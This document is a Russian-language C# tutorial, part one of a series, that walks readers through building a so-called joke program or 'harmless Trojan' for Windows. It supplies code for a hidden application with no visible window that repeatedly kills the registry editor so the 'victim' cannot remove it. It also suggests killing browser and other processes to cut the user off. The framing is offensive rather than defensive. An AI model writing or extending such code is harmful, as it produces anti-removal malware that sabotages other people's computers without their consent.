Часть 1.
Предлагаю вам небольшой урок по C#.
Как известно делать что-то хорошее скучно, поэтому будем писать
программу шутку или безобидный Trojan.
Начнемс.
Запускайте Visual studio(или что вам больше нравится) и создайте новый пустой проект,
я свой назвал ‘JokeApp’.
Наша программа должна будет работать на всех версиях Windows поэтому установите целевую среду в настройках проекта JokeApp на .Net framework 2.0 в обозревателе решений удалите появившийся файл конфигурации ‘app.config’ он нам не нужен. Установите в свойствах проекта тип приложения ‘приложение виндовс’ или ‘win forms app’ как-то так
Добавьте в проект ссылку на System.Windows.Forms.
Создайте два класса JokeMain и Program добавьте в них директивы
using System.Windows.Forms; затем измените класс JokeMain так:
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
namespace JokeApp
{
class JokeMain : ApplicationContext
{
bool isDevmode = false;
public JokeMain(bool Devmode)
{
isDevmode = Devmode;
}
}
}Полный код класса Program:
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
namespace JokeApp
{
static class Program
{
/// <summary>
/// Главная точка входа для приложения.
/// </summary>
[STAThread]
static void Main(string[] agrs)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
if (agrs.Length > 0)
{
if (agrs[0] == "-Devmode")
{
Application.Run(new JokeMain(true));
}
else
{
Application.Run(new JokeMain(false));
}
}
else
{
Application.Run(new JokeMain(false));
}
}
}
}Дальше будем работать с классом JokeMain.
Добавьте директиву using MyTimer = System.Timers.Timer;
Так как наша ‘Шутка’ будет прописывать себя в реестр на нужно запретить запуск редактора реестра что-бы сложнее было ее удалить
Создадим таймер для этого добавим MyTimer RegTimer;, а в конструкторе добавим:
RegTimer = new System.Timers.Timer();//Создаем экземпляр RegTimer.Interval = 5000;//ставим интервал на 5 секунды, для наглядности, можно меньше, но и за 5 сек. никто не сможет нас с реестра удалить RegTimer.Elapsed += new System.Timers.ElapsedEventHandler(RegTimer_Elapsed);//через каждые 3 секунды будет вызыватсмя метод RegTimer_Elapsed RegTimer.Start();//Старт
Добавьте директиву using System.Diagnostics;
Если RegTimer_Elapsed метод не добавился автоматически то добавьте его сами
void RegTimer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
Process[] p = Process.GetProcesses();
Process mp;
for (int i = 0; i < p.Length; i++)
{
if (p[i].ProcessName == "regedit")
{
mp = p[i];
mp.Kill();
}
}
}Жмите F5 для запуска отладки если все запустилось нормально нажмите Alt+Tab
И убедитесь что нашей программы не видно. Супер! Теперь попробуйте запустить regedit.exe и о чудо, он запускается и сразу вырубается, чего мы и хотели.
Еще можете убивать процессы браузеров и оставить “жертву” без инета ну ето будет жестоко или процессы других программ которые вы знаета есть на машине юзера.
Для начала достаточно, дописывать будем в продолжении статьи.


